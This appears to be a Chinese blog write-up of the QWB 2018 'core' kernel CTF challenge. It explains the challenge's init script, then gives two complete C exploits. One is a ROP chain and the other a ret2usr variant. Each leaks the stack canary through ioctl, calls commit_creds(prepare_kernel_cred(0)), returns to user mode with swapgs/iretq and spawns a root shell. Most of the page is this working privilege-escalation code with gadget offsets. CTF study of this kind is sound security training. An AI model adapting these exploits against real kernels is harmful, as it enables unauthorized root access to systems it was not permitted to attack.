您的位置:首页 > 运维架构

kernel ROP

2022-05-02 14:01 513 查看

#kernel ROP

借助

qwb-2018 core
这道题目来熟悉一下,kernel
rop
ret2usr

首先看一下启动脚本

发现没有开什么保护,只开了一个

kaslr
,为了方便调试我们在这里把它改成
nokaslr
关闭即可。

再来看一下

init
文件

看一下这个里面的几行命令是什么意思

1、

mount
的作用是将分区挂到某个文件夹下,这样我们只要访问这个文件夹就相当于访问了那个分区。

2、下面的 chomd 666 /dev/ptmx 的意思是 /dev/ptmx 可读写但不可执行

3、

cat /proc/kallsyms > /tmp/kallsyms
是将
/proc/kallsyms
复制到
/tmp/kallsyms

4、

echo 1 > /proc/sys/kernel/kptr_restrict
的作用是使得普通用户无法从
/proc/kallsyms
获取到函数的地址,这里给出权限描述:

但是上面已经将

/proc/kallsyms
复制到
/tmp/kallsyms
中,故对我们获取地址并没有什么影响,并且本题也并不一定要从这里获取地址。

5、下面几行是搭建网桥

6、

insmod /core.ko
是指加载
./core.ko
这个驱动,我们的
kernel
题目中,漏洞一般都出现在驱动当中

7、

setsid /bin/cttyhack setuidgid 1000 /bin/sh
是启动时给我们的权限是普通用户,一般为了方便调试我们可以把它替换为
setsid /bin/cttyhack setuidgid 0 /bin/sh
,这样会方便我们查看
qemu
里的一些地址。

8、

umount
命令是手动卸载(分离)某个文件文件系统

9、

poweroff -d 0 -f
的作用是强制关闭电源并且不把记录写进
/var/log/wtmp

####rop

#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>

size_t vmlinux_base, offset, commit_creds, prepare_kernel_cred;
size_t user_cs, user_ss, user_sp, user_rflags;
size_t raw_vmlinux_base = 0xffffffff81000000;

size_t rop[0x100] = {0};
size_t user_buf[8] = {0};

void save_status()
{
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
}

void get_shell()
{
if (getuid() == 0)
{
system("/bin/sh");
}
else
{
puts("[-] get shell error");
exit(1);
}
}

int find_symbols()
{
char buf[0x40]={0};

FILE *fd = fopen("/tmp/kallsyms","r");
if(fd == 0)
{
puts("[-] open /kallsyms error");
exit(0);
}

while(fgets(buf, 0x40, fd))
{
if(commit_creds && prepare_kernel_cred)
{
printf("[+] find commit_creds: %p\n", commit_creds);
printf("[+] find prepare_kernel_cred: %p\n", prepare_kernel_cred);
return 0;
}

if(strstr(buf, "commit_creds") && !commit_creds)
{
char ptr[0x20]={0};
strncpy(ptr, buf ,16);
sscanf(ptr, "%lx", &commit_creds);
}

if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
{
char ptr[0x20]={0};
strncpy(ptr, buf ,16);
sscanf(ptr, "%lx", &prepare_kernel_cred);
}
}

return 0;
}

void main()
{
save_status();
int i = 0;
int fd = open("/proc/core",2);
if(fd == 0)
{
puts("[-] open file error");
exit(0);
}

find_symbols();

vmlinux_base = commit_creds - 0x9c8e0;
size_t offset = vmlinux_base - 0xffffffff81000000;

ioctl(fd, 0x6677889C, 0x40);
ioctl(fd, 0x6677889B, user_buf);

for(i=0;i<8;i++)
printf("%d: %p\n", i, user_buf[i]);
size_t canary = user_buf[0];
printf("[+] find canary: %p", canary);

i = 8;

//commit_creds(prepare_kernel_cred(0))
rop[i++] = canary;
rop[i++] = 0; //rbp
rop[i++] = 0xffffffff81000b2f + offset; // pop rdi; ret;
rop[i++] = 0;
rop[i++] = prepare_kernel_cred;
rop[i++] = 0xffffffff81021e53 + offset; // pop rcx; ret;
rop[i++] = commit_creds;
rop[i++] = 0xffffffff811ae978 + offset; // mov rdi, rax; jmp rcx;
rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret;
rop[i++] = 0;
rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret;
rop[i++] = (size_t)get_shell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;

write(fd, rop, 0x100);
ioctl(fd, 0x6677889A, 0x100 | 0xFFFFFFFFFFFF0000);
}

####ret2usr

#include <string.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/ioctl.h>

size_t vmlinux_base, offset, commit_creds, prepare_kernel_cred;
size_t user_cs, user_ss, user_sp, user_rflags;
size_t raw_vmlinux_base = 0xffffffff81000000;

size_t rop[0x100] = {0};
size_t user_buf[8] = {0};

void save_status()
{
__asm__(
"mov user_cs, cs;"
"mov user_ss, ss;"
"mov user_sp, rsp;"
"pushf;"
"pop user_rflags;"
);
}

void get_shell()
{
if (getuid() == 0)
{
system("/bin/sh");
}
else
{
puts("[-] get shell error");
exit(1);
}
}

void get_root()
{
char* (*pkc)(int) = prepare_kernel_cred;
void (*cc)(char*) = commit_creds;
(*cc)((*pkc)(0));
}

int find_symbols()
{
char buf[0x40]={0};

FILE *fd = fopen("/tmp/kallsyms","r");
if(fd == 0)
{
puts("[-] open /kallsyms error");
exit(0);
}

while(fgets(buf, 0x40, fd))
{
if(commit_creds && prepare_kernel_cred)
{
printf("[+] find commit_creds: %p\n", commit_creds);
printf("[+] find prepare_kernel_cred: %p\n", prepare_kernel_cred);
return 0;
}

if(strstr(buf, "commit_creds") && !commit_creds)
{
char ptr[0x20]={0};
strncpy(ptr, buf ,16);
sscanf(ptr, "%lx", &commit_creds);
}

if(strstr(buf, "prepare_kernel_cred") && !prepare_kernel_cred)
{
char ptr[0x20]={0};
strncpy(ptr, buf ,16);
sscanf(ptr, "%lx", &prepare_kernel_cred);
}
}

return 0;
}

void main()
{
save_status();
int i = 0;
int fd = open("/proc/core",2);
if(fd == 0)
{
puts("[-] open file error");
exit(0);
}

find_symbols();

vmlinux_base = commit_creds - 0x9c8e0;
size_t offset = vmlinux_base - 0xffffffff81000000;

ioctl(fd, 0x6677889C, 0x40);
ioctl(fd, 0x6677889B, user_buf);

for(i=0;i<8;i++)
printf("%d: %p\n", i, user_buf[i]);
size_t canary = user_buf[0];
printf("[+] find canary: %p\n", canary);

i = 8;

//commit_creds(prepare_kernel_cred(0))
rop[i++] = canary;
rop[i++] = 0; //rbp
rop[i++] = (size_t)get_root;
rop[i++] = 0xffffffff81a012da + offset; // swapgs; popfq; ret;
rop[i++] = 0;
rop[i++] = 0xffffffff81050ac2 + offset; // iretq; ret;
rop[i++] = (size_t)get_shell;
rop[i++] = user_cs;
rop[i++] = user_rflags;
rop[i++] = user_sp;
rop[i++] = user_ss;

puts("debug");
getchar();

write(fd, rop, 0x100);
getchar();
ioctl(fd, 0x6677889A, 0x100 | 0xFFFFFFFFFFFF0000);
}
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: